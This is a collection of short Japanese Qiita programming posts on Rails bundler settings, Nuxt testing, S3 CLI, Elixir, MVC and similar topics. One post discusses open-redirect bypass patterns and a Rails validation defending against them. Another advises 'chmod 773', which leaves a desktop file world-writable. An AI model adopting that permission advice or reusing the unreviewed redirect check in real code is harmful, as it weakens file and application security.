OmniAICreator/Qiita-1.07M huggingface dataset:
【Rails】bundle installのオプションを自動で付与

# bundlerとは

gem同士の互換性を保ちながらパッケージの種類やバージョンを管理してくれる仕組みのこと。

## bundle install

```console
$ bundle install --path vendor/bundle
```

毎回同じパスを指定するのが面倒なのでconfigファイルに明示してターミナルでは打ち込まなくていいようにする。
[参考記事](https://www.kaeruspoon.net/articles/893)

## config

```console
$ vim ~/.bundle/config
```

```config:~/.bundle/config
# 追記
BUNDLE_PATH: vendor/bundle
```
これで次回以降`rails new`のタイミングで指定したパス配下に`bundle install`を勝手にしてくれる。

## ※注意

bundlerのバージョンが2.1.4だとエラーが出るらしい。

**バージョン確認方法**

```console
$ gem list bundler

*** LOCAL GEMS ***

bundler (2.1.4)
```

### 解消法

参考記事
[https://note.com/_20yute0_/n/n83f9f32d7a40](https://note.com/_20yute0_/n/n83f9f32d7a40)
[https://qiita.com/chabudai/items/4051c21ca9161a301bfb](https://qiita.com/chabudai/items/4051c21ca9161a301bfb)

## 他のオプションもつける

[オプション一覧](http://ruby.studio-kingdom.com/bundler/bundle_install/)

```config:~/.bundle/config
BUNDLE_PATH: vendor/bundle
# 追記
BUNDLE_JOBS: 4
BUNDLE_CLEAN: true
```

### jobs
処理の高速化

> 並列ワーカーをsizeの数から開始することで、Gemを並列にインストールします

### clean
bundlerのインストール先ディレクトリの使ってないgemを削除してくれるオプション。
gemをインストール後にGemfileから削除してもインストール先(自分の場合はvendor/bundle配下)に残ってしまい容量食うので`bundle install`の度に削除する。

> インストール後に自動的にbundle cleanを実行します。

### 番外 test

testオプションも付与していたがデフォルトのテストフレームワークはRSpecが指定されているため明示の必要はなさそう。
[参考記事](https://bundler.io/man/bundle-gem.1.html)

## 結果

今後`bundle install`は下記のコマンドと同義となる

```console
$ bundle install --path vendor/bundle --jobs=4 --clean
```
Nuxt.jsでテストを書いたらclient-onlyで詰まった【vue-test-utils】

# はじめに
Nuxt.jsに触れ始めて1年ほど経ちますが最近初めてSSRを使いました。

そこで\<client-only>タグを使うことがあったのですが、

```
console.error
      [Vue warn]: Unknown custom element: <client-only> - did you register the component correctly? For recursive components, make sure to provide the "name" option.
```

テストでエラーの山に遭遇しました。

# 原因
エラーに書いてある通り、\<client-only>が登録されていないことが原因です。

vue-test-utilsはvueコンポーネントのテストを行うライブラリですが、\<client-only>はNuxt固有のタグなのでそのままではエラーになってしまいます。

# 解決方法
\<client-only>タグのスタブを作成します。

```vuejs:test/__mocks__/clientonlyMock.vue
<template>
  <span>
    <slot />
  </span>
</template>

<script>
export default {
}
</script>
```

```js:util/jest.setup.js
import Vue from 'vue'
import { config } from '@vue/test-utils'
import clientonlyMock from '~/test/__mocks__/clientonlyMock.vue'

Vue.config.silent = true

// Mock Nuxt components
config.stubs['client-only'] = clientonlyMock
```

jest.config.jsに以下を追加

```javascript:jest.config.js

  setupFiles: [
    '<rootDir>/util/jest.setup.js'
  ]
```

Nuxt.jsのissueでは"\<span>\<slot/>\</span>"をスタブにする方法が紹介されていましたが、テキストでのスタブと見なされてワーニングが出てしまったので別ファイルで作成しています。
>Enable Vue-Test-Utils to work with Nuxt · Issue #4115 · nuxt/nuxt.js
[https://github.com/nuxt/nuxt.js/issues/4115](https://github.com/nuxt/nuxt.js/issues/4115)


# おわりに
SSRは色々なところに躓きがあって難しいです。

vue-test-utilsと少し仲良くなれた気がしてよかったです。

# 参考

マウンティングオプション | Vue Test Utils
[https://vue-test-utils.vuejs.org/ja/api/options.html#stubs](https://vue-test-utils.vuejs.org/ja/api/options.html#stubs)

Enable Vue-Test-Utils to work with Nuxt · Issue #4115 · nuxt/nuxt.js
[https://github.com/nuxt/nuxt.js/issues/4115](https://github.com/nuxt/nuxt.js/issues/4115)
【超初級編】JavaScript　配列について

## 📗 JSの配列
JavaScriptで配列を作るには変数に入れるのが一般的です。
どういうことかというと

```javascript
 const array = ["タコ","イカ","カニ"] //ここでarrayに３つの情報を入れる

 console.log(array[1]);           //arrayの1番目の値を出力する
```

これを実行すると出力は"イカ"と出力されます。

上記でなぜ1を選んでいるのに、なぜ２番目のイカが出力されるのかというと、JavaScriptは0,1,2,3というように0からカウントが始まるからです。
したがって、0=タコ, 1=イカ, 2=カニ　となるのでイカが出力されました。

今までは一列の配列でしたが、２列、３列となった時にどう書けば良いのでしょうか
次の項目で解説していきます。

## 📗 複数の配列の場合

今までは一行でしたが、画像のように２列の配列を求められたらどうしますか？
<img width="356" alt="スクリーンショット 2020-05-09 12.29.57.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/545998/89d938f6-89e9-75a4-4670-5fc2b5bf2e75.png">

```javascript
 const array_2 =[       //ここで大きな箱の中に、２つの配列データを入れてあげるイメージです。
 ["タコ","イカ","カニ"],    //１列目と２列目のカッコは分けます。最初は一列目の配列を前回同様記入します。最後の,を忘れないようにしましょう。               
 ["エビ","シャコ","ヒトデ"]  //このようにカッコを分けると列を分けることが出来ます。
 ];

 console.log(array_2);    //コンソール上では下画像の様にひょうじされます。


```
<img width="578" alt="スクリーンショット 2020-05-09 12.40.52.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/545998/b3714d01-3f84-a7d6-5279-6c7fdb145f9b.png">

では、シャコの情報を取り出したいときはどうしたらいいでしょうか？
コンソールの画像を見ると、列にも0,1と数値が振り分けられているのがわかります。
ということは、それと配列の数値を指定してあげればOKですね！

```javascript
console.log(array_2[1][1]); //1の列の１を出力する。
```
すると
<img width="403" alt="スクリーンショット 2020-05-09 12.47.26.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/545998/89f30c9f-3914-f078-5c48-59ac05227605.png">
このようにシャコが出力されています！！

以上！今回の内容はここまでです！！ぜひ数値や列の数などをイジって色々と試してみてください！

## 📗 次回予告
次回は、少し理解を進めて連想配列について一緒に勉強していければと思います！
お楽しみに！
［Ubuntu］Android Studio をインストールしショートカットを作成する

最近、Android アプリケーションの開発環境を Ubuntu (Linux Desktop) に移行を試みています。Android Studio のインストール自体は簡単でうまく行くのですが、ショートカットの作成に手間取ったのでまとめたいと思います。

# インストールする

Android Studio のインストールは簡単で Android Studio をダウンロードし任意の場所に展開するだけです。今回は Android Studio を /opt に展開してインストールします。

1. [Android Studio](https://developer.android.com/studio) をダウンロードする
2. ターミナルを開く
3. ダウンロードしたファイルを tar コマンドで /opt に展開する。

```
$ cd /opt
$ tar -zxvf ~/Downloads/android-studio-ide-192.6392135-linux.tar.gz 
```

[![Image from Gyazo](https://i.gyazo.com/4f2801eec4d3d2b2d0093977bb2b6a3f.png)](https://gyazo.com/4f2801eec4d3d2b2d0093977bb2b6a3f)

# ショートカット（Desktopファイル）を作成する

インストールした Android Studio は /opt/android-studio/bin/studio.sh の実行で起動できるようになっています。しかし毎回、ターミナルから起動するのは面倒なので、Ubuntu のランチャーから起動できるようにショートカット（Desktopファイル）を作成します。

[![Image from Gyazo](https://i.gyazo.com/b27dba4ff78edec85869df4f9eb4a56d.png)](https://gyazo.com/b27dba4ff78edec85869df4f9eb4a56d)

1. ターミナルを開く
2. gedit ~/.local/share/applications/android-studio.desktop でファイルを開く
3. [Desktopファイルの記述方法](https://docs.oracle.com/cd/E19957-01/817-6000/6mldto81l/index.html)に従って、android-studio.desktop を記述し、保存する
4. chmod 773 ~/.local/share/applications/android-studio.desktop でファイルに実行権限を与える
5. ログアウトし、ログインする

**Desktopファイルの記述例**

```
[Desktop Entry]
Type=Application
Encoding=UTF-8
Name=Android Studio
Comment=Android Studio
Exec=/opt/android-studio/bin/studio.sh
Icon=/opt/android-studio/bin/studio.png
```

ショートカットの作成が完了すると、Ubuntu ランチャーから Android Studio を起動できるようになります。

[![Image from Gyazo](https://i.gyazo.com/d42521e9fb8848d07f3669048e97a7c5.png)](https://gyazo.com/d42521e9fb8848d07f3669048e97a7c5)
Power Automate で英語ブログを翻訳といっしょに Teams に投稿する

わたしが Power Apps/Power Automate の公式ブログのフィードをチェックするために使っているフローを紹介します。

# 実現すること

タイトルと概要を日本語化して Teams のフィード用チャンネルに投稿します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/d0d1d4e0-e51d-32bd-388a-7e3f6ea37f4c.png)

また、こんな英語ブログへのリンクといっしょに、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/d52ea87c-7949-7ced-6f44-f8066abf6bd8.png)

こんな感じに翻訳済みページへのリンクも用意します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/5f61404e-3d1b-7a13-aec6-c4f728249708.png)


# フローの構成

## 全体図

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/fab56d52-c561-8637-11b8-67592bfe62e3.png)

## トリガー
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/066401c5-5325-d214-52c2-c757d9e0898d.png)

RSS コネクタのアクションを使い、対象のフィードを指定するだけでOKです。

## Teams の投稿に含めるテキストの翻訳

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/baa7541f-70db-f20a-51bc-89efd951628c.png)

フィード項目を Microsoft Translator コネクタの Translate Text アクションに放り込みます。
2020/5/9 現在では、Microsoft Translator V2 というコネクタもありますが、こちらはプレミアムコネクタになってるのでここでは使いません。

## 翻訳ページの URL を作成

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/e4dbd071-f106-8747-e675-70f4bbcdd620.png)

これは変数コネクタを使って、 URL 文字列を組み立てるだけです。
URL の書式は、実際に自分の手で Microsoft Translator でページ翻訳を行ってみて確認しました。
Microsoft Translator で URL を入力した後、翻訳後のリンクをクリックすると、ページ翻訳されたURLをゲットできます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/2a5cba1b-eeb1-6340-26b6-85d48cd05024.png)

https://www.translatetheweb.com/?ref=TVert&from=&to=ja&a=https%3A%2F%2Fpowerapps.microsoft.com%2Fen-us%2Fblog%2Fai-builder-now-supports-predicting-multiple-outcomes-preview%2F
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/d35dbea0-f4a1-730d-719a-ad2e57814ce9.png)

## Teams に投稿する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/1158b9fa-292f-09ba-80bd-c2fae45048ea.png)

あとは投稿内容を HTML 形式で組み立て、 Teams に投稿します。
私の場合、投稿者を中立にしたかったので Post a message as the Flow bot to a channel アクションを使っていますが、ふつうに Post a message アクションでもよいと思います。

# 設計・作成にあたって気を付けたこと

- 日本人チームの Teams チャネルに投稿するので、投稿本文は日本語＋日本語訳ページへのリンクをつけることで、読むハードルを下げる

- タイトル、概要を翻訳する 2 つのステップはそれぞれステップ名を変更し、一目で何が行われているかわかるようにしました
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/68978/8a0fecab-262d-c0fc-d737-f7de860d87b8.png)
RTKlibを使って電子基準点の観測データをプロットしてみた

#RTKlibのダウンロード
まずさいしょにRTKlibのダウンロードをするのですが、これがなかなか厄介です。
[RTKlib-GitHub](https://github.com/tomojitakasu/RTKLIB)をダウンロードし解凍するまではいいのですがbinディレクトリーが空っぽなので、[RTKlib_bin/rtklib_2.4.3-GitHub](https://github.com/tomojitakasu/RTKLIB_bin/tree/rtklib_2.4.3)をダウンロードし解凍し、binディレクトリーに移動させなければなりません。

#電子基準点のデータの取得
電子基準点のデータを取得するためには国土地理院のサイトに登録しなければなりません。
[電子基準点データ提供サービス-国土地理院](https://terras.gsi.go.jp/)にアクセスし、「電子基準点　観測データ取得」に進み新規登録します。アカウントを持っている場合はそのままログインでかまいません。

##電子基準点の座標値の取得
国土地理院のサイトにログインし、同意画面で同意するとこのような画面になります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/f7eb4b6c-0a1b-d1cf-a765-2ff1d3f427fc.png)

ここで取得したい電子基準点を地図から選択します。
選択すると、画面右に局番号というものが表示されるので、覚えておきます。
その後、画面右上の「各種データ」から「日々の座標値[F3]」に進みます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/a5b2e0f2-3828-4347-762c-c1d885ea5361.png)

そして観測点番号というところに局番号を入力し電子基準点表示のボタンを押すと画面の上のほうの「電子基準点」のところに自分の入力した電子基準点が表示されるので、ダウンロードを押します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/1e4a1148-fe6c-b545-5b6c-3c9deb809f56.png)

するとこのような画面になります。
.posファイルをクリックしてダウンロードします。

ダウンロードされた.posファイルは拡張子を.txtに変更するだけで閲覧することができます。

##観測データのダウンロード
先ほど使った地図の画面に戻ります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/f7eb4b6c-0a1b-d1cf-a765-2ff1d3f427fc.png)

ここで取得したい電子基準点を地図上で選択したら左側のダウンロードのボタンを押します。
するとこのような画面になるので

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/4c9b13e7-7414-9200-eb4d-83987c1a4525.png)

今回は1日の観測データをプロットしたいので「1日毎のデータダウンロード」を選択し、観測したい日付に開始日と終了日を入力し、「衛星」はGRJEを選択します。その後「1日毎のデータダウンロード」に進みます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/0f3d969b-7d84-4d3a-cb19-d74df6ae6fdc.png)

この画面の「観測ファイル」と「衛星軌道情報ファイル」をダウンロードします。
ダウンロードしたファイルは.tarと.gzになっているため[7-zip](https://sevenzip.osdn.jp/download.html)を使って解凍します。

#データのプロット
ここからが本題ですがやることは上の2つより複雑ではありません
RTKlibのbinディレクトリーにある、RTKpost.exeを起動します。
OptionsでQZSSにチェックを入れます。
その後RINEX OBSに取得した観測ファイルを解凍したものを指定します。
RINEX NAVには衛星軌道情報ファイルを解凍して出てきた末尾がqとnのものを指定します。
Solutinに.posファイルを指定します。

そしてExecuteを押してover writeのokを押した後Plotを押すとプロットされた画面が出てきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/290031da-bdc4-2fc9-e9d4-8d4c2bd43a6e.png)

以上で終了です。

##もうちょと詳しく
右上の歯車を押すとプロット画面の細かい設定ができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/625910/dfddd5ca-1566-4291-ad27-4d708ffc98e1.png)

原点を設定するにはCoordinate OriginでLat/Lon/Hgtを選択しLat/Lon/Hgtに一番最初に確認した.posファイルの座標を入力すればよいでしょう。
show statisticsをonにすると原点の座標(ORI)や平均のずれ(AVE)や標準偏差(STD)などが出てきます。

表示するデータをGnt TrkからPositionにすると時系列ごとの緯度経度高度のデータが表示されます。
【たったこれだけ】ファビコンの設定　サイトのタブに表示される小さいやつ　favicon

##　目的
サイトの左上についている物を付けたくて調べたので。。。

##ファビコンとは

ファビコンとは、Webブラウザでページを開いた際にアドレスバーやタブ部分に表示されるアイコンのことです。

<img width="305" alt="スクリーンショット 2020-05-09 12.17.50.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/628336/3f9b26cb-c5bc-4f3c-2d98-86da68785d80.png">

ファビコンは、お気に入り（favorite）に登録したときに表示されるアイコン（icon）という意味で、favorite icon（フェイバリット・アイコン）が縮約して、favicon（ファビコン）と呼ぶようになったのが名前の由来とされています。

ファビコンを設置することで複数のタブを開いてWebページの閲覧しているときや、お気に入り（Google Chromeの場合はブックマーク）を表示させた際にサイトやページを判別する目印となります。

##ファビコンのフォーマット

ファビコンのフォーマットは「.ico」を使うことになっています
下記のサイトで簡単に作れます。
https://ao-system.net/favicon/



##コード具体例

ファビコンを表示させるには、head部分に以下の記述を追加します。

```index.html

<link rel="shortcut icon" href="ファイルのURL " type="logo.icon" />   
<link rel="icon" href="ファイルのURL" type="logo.icon" /> 

```

erbやhamlもこんな感じで

```html.erb

<%= favicon_link_tag('logo.icon') %>

```

```html.haml
= favicon_link_tag('logo.icon')
```

##

##参考文献

https://ao-system.net/favicon/
https://www.asobou.co.jp/blog/web/favicon
PHPでファイルをサーバーにアップロードする方法について

PHPでファイルをサーバーにアップロードする方法について

WEBを探すと以下のような方法が紹介されています。
```php5
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file1" />
    <input type="file" name="file2" />
    <input type="submit" />
</form>
```
この方法については、実際に試してみて、アップロードもできますし、その後、メールに添付して送信することもできました。

アップロードする都度、ファイルを指定するのであればこれで良いのですが、
今やりたいのは、予めファイルの場所を指定してあるテーブルを参照し、
要求があればアップロードしてメールに添付して発送するという処理です。
送付したいファイルが
1.c:\temp\image1.jpg
2.c:\temp\image2.jpg
であるとして、この情報がDBのテーブルに保存してあるものとします。
このような場合に、ｃ：ドライブ（どこでも良いわけですが）からファイルをサーバーにアップロードする方法はないものでしょうか。
カレントディレクトリ以下のすべてのファイルを1行ずつフルパスでリストにする

## TL;DR

カレントディレクトリを`/home/user1/work/`としたとき、以下のコマンドを実行する。

```bash
find `pwd`
```

### 出力結果

```bash
/home/user1/work/ahtml
/home/user1/work/b.htmll
/home/user1/work/index.html
/home/user1/work/sitemap.xml
/home/user1/work/profile.html
/home/user1/work/favicon.ico
/home/user1/work/css/style.css
/home/usrr1/work/js/main.js
```

## 応用

拡張子に`.html`を持つものだけ抽出する。

```bash
find `pwd` | grep \\.html$
```

### 出力結果

```bash
/home/user1/work/index.html
/home/user1/work/profile.html
```
AWS CLIでS3にフォルダごとアップロード/ダウンロードする方法

### S3のバケットにアップロード

【単一ファイルをアップロード】

```
aws s3 cp ~/directory/sample.txt s3://backet-name/
```

【フォルダごとアップロード】

```
aws s3 cp ~/directory s3://backet-name/ --recursive
```

特定のファイルを`除いて`アップロード


```
aws s3 cp ~/directory s3://backet-name/ --exclude "*.txt" --recursive 
```

特定のファイル`のみ`アップロード

```
aws s3 cp ~/directory s3://backet-name/ --exclude "*" --include "* .txt" --recursive 
```


### S3のバケットからローカルにダウンロード
【単一ファイルをダウンロード】

```
aws s3 cp s3://backet-name/sample.txt ~/directory/
```

【フォルダごとダウンロード】

```
aws s3 cp s3://backet-name/ ~/directory --recursive
```

特定のファイルを`除いて`ダウンロード


```
aws s3 cp s3://backet-name/　~/directory --exclude "*.txt" --recursive 
```

特定のファイル`のみ`ダウンロード

```
aws s3 cp s3://backet-name/　~/directory --exclude "*" --include "* .txt" --recursive 
```


#### 参考
[AWS CLIコマンドリファレンス > S3](https://docs.aws.amazon.com/cli/latest/reference/s3/index.html)　を参考に記事を書いています。
MySQL の勉強について

MySQL の勉強を始めた。便利なサイトを見つけたのでそれを利用して、自動生成した擬似的な個人情報データ(以下、テストデータ)で練習することにした。

環境
---
・ubuntu 18 (AWS のLightsail)
・Mysql
・テストデータ(.cvs 形式)

必要なこと
---
・テストデータを置いてあるディレクトリをメモしておく
・Mysql の環境を設定しておく
・コマンドをコピペして確保しておく

```Bash
load data local infile "/var/www/html/aws_data/my.csv" into table datas fields terminated by ',' optionally enclosed by '"';
# load data local infile "[テストデータの格納ディレクトリの絶対パス(相対パスでもいいかのかな？)]" into table [テーブル名] fields terminated by ',' optionally enclosed by '"';
```

やること
---
1. 「疑似個人情報生成 - 生成条件入力」(https://hogehoge.tk/personal/generator/)で、条件を設定してデータを生成し、ダウンロードする(.csv 形式で、アルファベットのみのデータにしておく)
2. 上記コマンドを使う上で都合の良いディレクトリに、テストデータを置いておく
3. 上記コマンドをコピペして、パスとテーブル名を変更して実行する
4. データベース、テーブルの権限が正しく設定されていれば、問題なくデータベースを作成することが出来る
Rails でオープンリダイレクトを実装する

# なにこれ
[体系的に学ぶ 安全なWebアプリケーションの作り方 第2版](https://www.sbcr.jp/product/4797393163/)（以下、得丸本とする）という本に「リダイレクト処理にまつわる脆弱性」いう項目がある。本記事では、それに基づいて、安全なオープンリダイレクトを Ruby on Rails で実装してみることとする。なにがやりたいのかというと、ログインページにジャンプしても元のページに戻れる仕組みををつくっていくのである。

# コードについて
- 今回のコードは [Github のレポジトリ](https://github.com/seahal/qiita) にもあります
- url に使えない文字を防ぐために、base64にエンコードしてあります
- `example.com` という架空の URL のサービスを考えることにします

# アジェンダ
得丸本いわく、以下のポイントがあると脆弱性の原因となるそうです。
1. リダイレクト先の URL が `example.com` 以外の URL であってもリダイレクトする
2. `http://example.net/example.com` みたいなホスト名を含めた url をすり抜けさせる
3. `//example.com` みたいな https と http 以外のスキーマも認める

# 出来上がったコード
```ruby
# coding: utf-8
require 'uri'

class ContiuneFromPreviousPagesController < ApplicationController
  HOST_URI = 'example.com'

  def show
    uri = Base64.urlsafe_decode64(params[:id])
    parsed_uri = URI.parse(uri)

    # (1)(3)
    if parsed_uri.host.split('.')[-2..-1].join('.').downcase == HOST_URI && %w[http https].include?(parsed_uri.scheme)
      redirect_to uri
    else
      head :not_found
    end

  rescue NoMethodError # そもそも uri じゃない文字列を除外する
    head :not_found
  rescue URI::InvalidURIError # "iiii" とか防止
    head :not_found
  end
end

```

### 問題(1)の対策
この問題は要は他所の url を弾けば良いので、`example.com` 以外のサイトを無視すれば良い。つまり `google.co.jp` とかのアカウントをうけたら、404 を返してやれば良い。文句を言われたら「仕様です」と答える。よって、解決済み。

### 問題(2)の対策
得丸本では正規表現を使っていたけど、この記事では Ruby の uri ライブラリを使ったので、このコードでは問題とならないようにした。よって、解決済み。

### 問題(3)の対策
https と http だけにスキーマを限定した。よって、解決済み。

# テストについて
一応は自動テストも書いてみたので、興味がある方は見てみてください。

# おわりに
正規表現まわりのミスはセキュリティホールにつながる感じがする、と思いました。
PMP試験に出てくる第４章Project Integration Managementの7つのプロセスを覚えよう！

# Project Integration Managementとは
PMBOKの`10の知識エリア`の中の`プロジェクト統合管理`のことである。

[PMBOKの10の知識エリア](https://qiita.com/Yumenoshima/items/0982785d1a481dfc6a27)

## PMBOKガイドのどこに出てくるか
第４章(PMBOKガイド69ページ)

## プロジェクト統合管理の７つのプロセス
- Initiating 立ち上げ
    - (4.1) Develop Project Charter - プロジェクト憲章の作成
        - [4.1のITTO](https://qiita.com/Yumenoshima/items/8c73a0a57fce8a3ef41b)
- Planning 計画
    - (4.2) Develop Project Management Plan - プロジェクト管理計画の作成
        - [4.2のITTO](https://qiita.com/Yumenoshima/items/b816b1ef2fe0ec823425)
- Executing 実行
    - (4.3) Direct and Manage Project Work - プロジェクト作業の指揮・管理
        - [4.3のITTO](https://qiita.com/Yumenoshima/items/5a0b1d08202843e099fe)
    - (4.4) Manage Project Knowledge - プロジェクト知識管理
        - [4.4.のITTO](https://qiita.com/Yumenoshima/items/4565fe246f3a605df6da)
- Monitor and Controlling 監視と制御      
    - (4.5) Monitor and Control Project Work - プロジェクト作業の監視と制御
        - [4.5のITTO](https://qiita.com/Yumenoshima/items/d6230d95a090c6a62631)
    - (4.6) Perform Integrated Change Control - 統合変更管理
        - [4.6のITTO](https://qiita.com/Yumenoshima/items/163d25aba7786e61d396)
- Closing クロージング
    - (4.7) Close project or Phase - プロジェクト又はフェーズのクローズ
        - [4.7のITTO](https://qiita.com/Yumenoshima/items/43f47b63d8cbf72e5f56)

## まとめ
プロジェクト統合管理の7つのプロセスがどのフェーズで使われているか覚えれば完璧だね！7つのプロセスのITTOも暗記しよう！

----
以上
TypeScript, React, Redux, Redux Saga, Atomic Designを使った最小単位のTodoアプリ

Webフロントエンド経験の少ない後輩たちに教えることを目的に書いたものです。
https://github.com/ShotaroOkada/react_redux_example
ここのREADME.mdに使用技術、参考資料、コードの読み方等々書きました。
何かアドバイスなどあればいただけると嬉しいです 🙃
Elixirで構造体のプロパティを一部共通化する

# 概要
Elixirで構造体のプロパティを共通化したかったので、メモも兼ねて共有します。

## 環境
```bash
$ elixir -v
Erlang/OTP 22 [erts-10.7.1] [source] [64-bit] [smp:4:4] [ds:4:4:10] [async-threads:1] [hipe] [dtrace]

Elixir 1.10.3 (compiled with Erlang/OTP 22)
```

## コード
``` elixir:common_struct.ex

# 共通プロパティを持ち、`use`によって構造体を定義するモジュール
defmodule CommonStruct do
  defmacro __using__(attributes) do
    quote do
      # 共通プロパティ
      common_attributes = [str: "", int: 0]

      # 引数のキーワードリストと一緒に`defstruct`へ渡し、呼び出しモジュールの構造体として定義する。
      common_attributes ++ unquote(attributes) |> defstruct
    end
  end
end
```

```elixir:my_struct.ex
defmodule MyStruct do
  # 独自に定義するプロパティとデフォルト値をキーワードリストにして渡す。
  use CommonStruct, bool: false, float: 0.1
end
```

```elixir:iex
iex(1)> i %MyStruct{}
Term
  # ちゃんと定義できてます!
  %MyStruct{bool: false, float: 0.1, int: 0, str: ""}
Data type
  MyStruct
Description
  This is a struct. Structs are maps with a __struct__ key.
Reference modules
  MyStruct, Map
Implemented protocols
  IEx.Info, Inspect

# デフォルト値
iex(2)> %MyStruct{}
%MyStruct{bool: false, float: 0.1, int: 0, str: ""}

# 初期値あり
iex(3)> %MyStruct{bool: true, float: 3.14, int: 100, str: "hoge"}
%MyStruct{bool: true, float: 3.14, int: 100, str: "hoge"}
```

`CommonStruct`には構造体が定義されていないので、上のコードでは`%CommonStruct{}`を実行するとエラーが発生します。

```elixir:iex
iex(4)> %CommonStruct{}
** (CompileError) iex:4: CommonStruct.__struct__/1 is undefined, cannot expand struct CommonStruct. Make sure the struct name is correct. If the struct name exists and is correct but it still cannot be found, you likely have cyclic module usage in your code
```

共通部分も構造体として欲しい場合は、下記のようにすればできます。

```elixir:common_struct.ex
defmodule CommonStruct do
  defmacro __using__(attributes) do
    quote do
      CommonStruct.common_attributes() ++ unquote(attributes) |> defstruct
    end
  end

  # defstruct, __using__で利用するためにモジュール変数に追い出す
  @common_attributes [str: "", int: 0]
  defstruct @common_attributes
  def common_attributes(), do: @common_attributes
end
```

```elixir:iex
iex(1)> i %CommonStruct{}
Term
  %CommonStruct{int: 0, str: ""}
Data type
  CommonStruct
Description
  This is a struct. Structs are maps with a __struct__ key.
Reference modules
  CommonStruct, Map
Implemented protocols
  IEx.Info, Inspect
```

以上です！

皆さんによきElixirライフを:thumbsup:
【Objective-C】パブリッククラスとコンクリートクラスとクラスクラスタの関係

#パブリッククラス・コンクリートクラス・クラスクラスタ
今回は上記のクラスの意味や違いが分からなかったので、それについてまとめていきます。
###パブリッククラス
パブリッククラスとはプラグラマーが割り当てるクラスの事である。（実際に割り当てられているクラスではなく、コード上で割り当てているもの）

###コンクリートクラス
コンクリートクラスとはパブリッククラスのサブクラスであり、コード上でパブリッククラスが割り当てられているオブジェクトに対し、自動的に割り当てられる最適なクラスの事である。

###クラスクラスタ
クラスクラスタとは、パブリッククラスとそれに準ずるコンクリートクラスをまとめたクラス群の総称の事である。

#サンプルコード
各用語の意味としては上記のようになるのですが、まだ意味が分かりにくいのでサンプルコードで解説していきます。

**コード**

```objective_c
 NSString* str = [[NSString alloc]initWithString:@"/path/path/"];
  NSLog(@"str = %@",[str class]);
```
**コンソール**

```console
2020-05-09 13:41:24.295 playground[13697:f803] str class = __NSCFConstantString
```

上記のコードを見ると、変数strがNSString型で宣言されているにも関わらず、コンソールではstrのクラスがNSCFConstantString型になっています。
このようにコード上で宣言している**NSString型がパブリッククラス**にあたり、Objective-Cの機能により**自動的に割り振られるNSCFConstantString型がコンクリートクラス**になります。

#参考
http://jigax.jp/%E3%83%91%E3%83%96%E3%83%AA%E3%83%83%E3%82%AF%E3%82%AF%E3%83%A9%E3%82%B9%E3%81%A8%E3%82%B3%E3%83%B3%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%88%E3%82%AF%E3%83%A9%E3%82%B9%E3%81%A8%E3%82%AF%E3%83%A9%E3%82%B9/
MVCの相関関係

#MVCとは
UI（ユーザーインターフェース）を持つソフトウェアのアーキテクチャの一つ。
言い換えると、ソフトウェアをどのような構造にするのかについての考え方のパターンの一つ。
#なんでMVC？
アプリケーションはUIやデータなど様々な処理によって構成されている。
それらが混ざってしまうと保守性が悪くなるため、処理の種類によって分けることで管理する必要がある。
それを実現する手法の一つがMVC。（他にはMVPなどがある）

#モデル・ビュー・コントローラ
**モデル**：データとデータに関するビジネスロジック（アプリケーション特有の処理）をオブジェクトとして実装したもの。データは多くの場合、データベースで永続化されるが、データベースへの保存や読み込みもモデルが担当している。

**ビュー**：ブラウザに表示される画面、すなわちHTMLなどのHTTPレスポンスの中身を実際に組み立てる部分。必要に応じてコントローラからモデルのオブジェクトなどを受け取り、画面表示に利用する。

**コントローラ**：クライアントからのリクエストを受けて、適切なレスポンスを作成するための制御を行う部分。必要に応じてモデルを利用したり、ビューを呼び出したりしてレスポンスを作成する。

#MVCを利用した処理の流れ
①クライアントからのリクエストがWebサーバを介してRailsアプリケーションへ渡される。
②ルーティングがリクエストに含まれているHTTPメソッドとURLから適切なコントローラ（クラス）とアクションを特定し、アクションを呼び出す。
③アクションでは必要に応じてモデルを利用する。（indexアクションなどのデータを利用する場合モデルを利用する）
④③の利用があった場合、モデルがデータベースへの書き込みや読み出しを行う。データベースのテーブルからレコードを読み出すSQLを実行する。
⑤またビューではアクションごとに、対応するビューテンプレートを用いてHTMLなどを作成する。
⑥コントローラがレスポンスを作成し、Webサーバを介してクライアントへと返す。
Ruby on Rails チュートリアル　26日目

12章あたりのメーリング環境を作成するために、add-onsにsendgridを追加後HerokuのOverviewからsendgridにログインしようとしたら、「sendgrid.comへのアクセスが拒否されました」と表示されました。add-onにもう一度追加し直そうと思いherokuからsendgridを消去してもう一度入れ直そうとしたら、下のようなエラーが出ました。

```
 ▸    An error was encountered when contacting
 ▸    the add-on partner to create
 ▸    sendgrid:starter: Error Provisioning User
 ▸    - User status - banned
```

自分なりに解決しようと調べてみると、アプリの再作成をしないといけないと書いてあるサイトがありましたが、再作成以外の方法はないでしょうか？
